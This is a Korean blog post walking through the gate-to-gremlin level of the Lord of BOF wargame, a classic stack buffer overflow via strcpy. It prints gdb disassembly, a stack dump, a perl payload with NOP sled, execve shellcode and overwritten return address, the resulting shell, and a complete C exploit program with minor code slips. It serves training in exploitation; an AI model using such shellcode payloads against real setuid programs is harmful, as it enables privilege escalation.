Phantom

[Gate] gate -> gremlin 풀이 본문

Pwnable/[Wargame]Load of Bof

[Gate] gate -> gremlin 풀이

Ph4nt0m_ 2014. 5. 27. 20:28
반응형



해커스쿨의 FTZ를 다음으로 LOB(Load Of Bof)라는 워게임을 풀어 보려고 한다.

각 단계의 문제들을 풀고 쉘을 얻어내면 다음단계로 넘어갈 수 있는 비밀번호를 알려준다.



 ※ 문제 소스 보기

[gate@localhost gate]$ cat gremlin.c
/*
	The Lord of the BOF : The Fellowship of the BOF 
	- gremlin
	- simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%p\n", argv[1]);
}

 

 



 문제 소스 보기

gremlin.c

1
2
3
4
5
6
7
8
9
10
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

첫 단계이니만큼 아주 기초적인 소스이다. 

버퍼는 256B로 넉넉하며

argv[1]로 인자를 받아 strcpy로 문자열 길이를 검사하지 않고 그대로 buffer에 쓴다


 gdb로 gremlin 을분석해보자

 OS에 있는 gremlin을 분석하려는데 권한이 없기때문에 실행이 되질 않는다. 


따라서 실행파일을 복사한다. 


주의해야할 점은 복사할 실행파일의 이름의 길이를 같게 해야한다.

아니면 메모리주소가 달라져서 공격하기 어려워집니다.


[gate@localhost gate]$ gdb -q gremlin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) set disassembly-flavor intel
(gdb) disas main
0x8048430 <main>:    push   %ebp
0x8048431 <main+1>:    mov    %ebp,%esp
0x8048433 <main+3>:    sub    %esp,0x100                            // 함수 프롤로그 과정, 
                                                                               0x100(256)의 스택 공간 확보
------------------중 략 -----------------------------
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12] // argv[1]주소를 eax에 복사
0x8048459 <main+41>:    add    %eax,4                                 
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]      //argv[1]값을 edx에 복사
0x804845e <main+46>:    push   %edx                                    //edx(두번째인자)를 스택에 푸시
0x804845f <main+47>:    lea    %eax,[%ebp-256]                    //str의 주소값을 eax에 복사
0x8048465 <main+53>:    push   %eax                                    //eax(첫번째인자)를 스택에 푸시
0x8048466 <main+54>:    call   0x8048370 <strcpy>                   //strcpy(buffer, argv[1])호출
------------------중 략 -----------------------------
0x8048482 <main+82>:    leave                                               //함수 에필로그  
0x8048483 <main+83>:    ret
 

 쉘 획득 과정 페이로드

 argv[1]에 NOP(125) +  쉘코드(25) + NOP(110) + RET(4) = 260으로 buffer를 오버플로우 할것이다.

 추가 정보

 [gate@localhost gate]$ gcc -v

Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs

gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)


gcc 2.96버전 이하는 더미가 들어가지 않는다 그래서 gdb에서 256그대로 공간이 확보된 것이다.

 쉘코드 주소 구하기

 공격 명령어 작성을 위해 gdb로 ret에 넣을 쉘코드 주소를 구한다.

[gate@localhost gate]$ gdb -q abcdefg 

(gdb) b *0x804847a

Breakpoint 1 at 0x804847a

(gdb) r $(perl -e 'print "\x90"x125, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f

\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80", 

"\x90"x110, "\xaa\xaa\xaa\xbf"')


Starting program: /home/gate/abcdefg $(perl -e 'print "\x90"x125, "\x31\xc0

\x50\x68\x2f\x2f\x73\x68\x68

\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31

\xd2\xb0\x0b\xcd\x80", "\x90"x110, "\xaa\xaa\xaa\xbf"')


Breakpoint 1, 0x804847a in main ()

(gdb) x/50x $esp

0xbffff910: 0x080484ec 0xbffff918 0x90909090 0x90909090

0xbffff920: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff930: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff940: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff950: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff960: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff970: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff980: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff990: 0x90909090 0x50c03190 0x732f2f68 0x622f6868

0xbffff9a0: 0xe3896e69 0xe1895350 0x0bb0d231 0x909080cd

0xbffff9b0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9c0: 0x90909090 0x90909090 0x90909090 0x90909090

0xbffff9d0: 0x90909090 0x90909090


이 중 NOP의 중간주소를 따서 쉘코드의 시작주소는 

ret에 넣을 쉘코드의 시작 주소는 0xbffff938이다.

 명령문 작성하기

 이제 명령문을 작성해보자.

./gremlin $(perl -e 'print "\x90"x125, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f

\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80", 

"\x90"x110, "\x28\xf9\xff\xbf"')



 ./gremlin $(perl -e 'print "\x90"x125, "\x31\xc0\x50\x68

\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b

\xcd\x80", "\x90"x110, "\x28\xf9\xff\xbf"')

퓧?????????????????????????????????????????????????????????????????????????

???????????????????????????????????????????????????1픐h//shh/bin??S??柰

?????????????????????????????????????????????????????????????????????????????????????

??????????????????????????(

Segmentation fault


세그멘테이션 폴트가 뜬다. 왜그럴까?

레드햇 6.2의 bash에서는 "\xff"를 00으로 인식한다. 따라서 bash2에서 실행해야한다.


다시 bash2에서 실행해보자


./gremlin $(perl -e 'print "\x90"x125, "\x31\xc0\x50\x68\x2f\x2f\x73

\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

, "\x90"x110, "\x28\xf9\xff\xbf"')

????????????????????????????????????????????????????????????????????????????????

?????????????????????????????????????????????1픐h//shh/bin??S??柰

                                                                                                                                                   ???????????????????????????????????????????????????????????????????

????????????????????????????????????????????(?


bash$ id

uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)

bash$ my-pass

euid = 501

hello bof world

 이로써 gremlin의 권한을 얻었다.


특이사항) 이유는 뭔지 모르겠지만 쉘코드 오른쪽엔 어떠한 값(NOP썰매)가 최소 16Byte 이상이어야 합니다


 NOP 썰매(221Byte)

 쉘코드(25Byte)

 NOP 썰매(14Byte)

RET (4Byte)

 (X) 

 NOP 썰매(219Byte)

 쉘코드(25Byte)

 NOP 썰매(16Byte)

 RET (4Byte)

 (O)

 NOP 썰매(217Byte)

 쉘코드(25Byte)

 NOP 썰매(18Byte)

 RET (4Byte)

 (O)

 NOP 썰매(215Byte)

 쉘코드(25Byte)

 NOP 썰매(20Byte)

 RET (4Byte)

 (O)


이제 공격했던것들을 바탕으로 익스플로잇을 작성해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
 
#define NOP 0x90
#define NOP1 100
#define NOP2 135
#define BUFSIZE 264     //NOP1(100) + shellcode(25) + NOP2(135) + RET
 
char shellcode[] = "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f
\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
char retAddr[] = "\x28\xf9\xff\xbf";
 
int main(){
        char cmdBuf[BUFSIZE];
        int i,j,k,l,shellLen, retLen;
 
        shellLen=strlen(shellcode);
        retLen=strlen(retAddr);
 
        for(i=0;i<NOP1;i++)
                cmdBuf[i]=NOP;
        for(j=0;j<shellLen;j++)
                cmdBuf[i++]=shellcode[j];
        for(j=0;j<NOP2;j++)
                cmdBuf[i++]=NOP;
 
        for(j=0;j<retLen;j++)
                cmdBuf[i++]=retAddr[j];
 
        execl("/home/gate/gremlin""gremlin", cmdBuf, 0);
 
}


반응형

'Pwnable > [Wargame]Load of Bof' 카테고리의 다른 글

[wolfman] wolfman -> darkelf 풀이  (0) 2014.07.27
[Orc] orc -> wolfman 풀이  (0) 2014.07.23
[Goblin] goblin -> orc 풀이  (0) 2014.07.17
[Goblin] cobolt -> goblin 풀이  (0) 2014.07.15
[Gremlin] gremlin -> cobolt 풀이  (0) 2014.05.28
Comments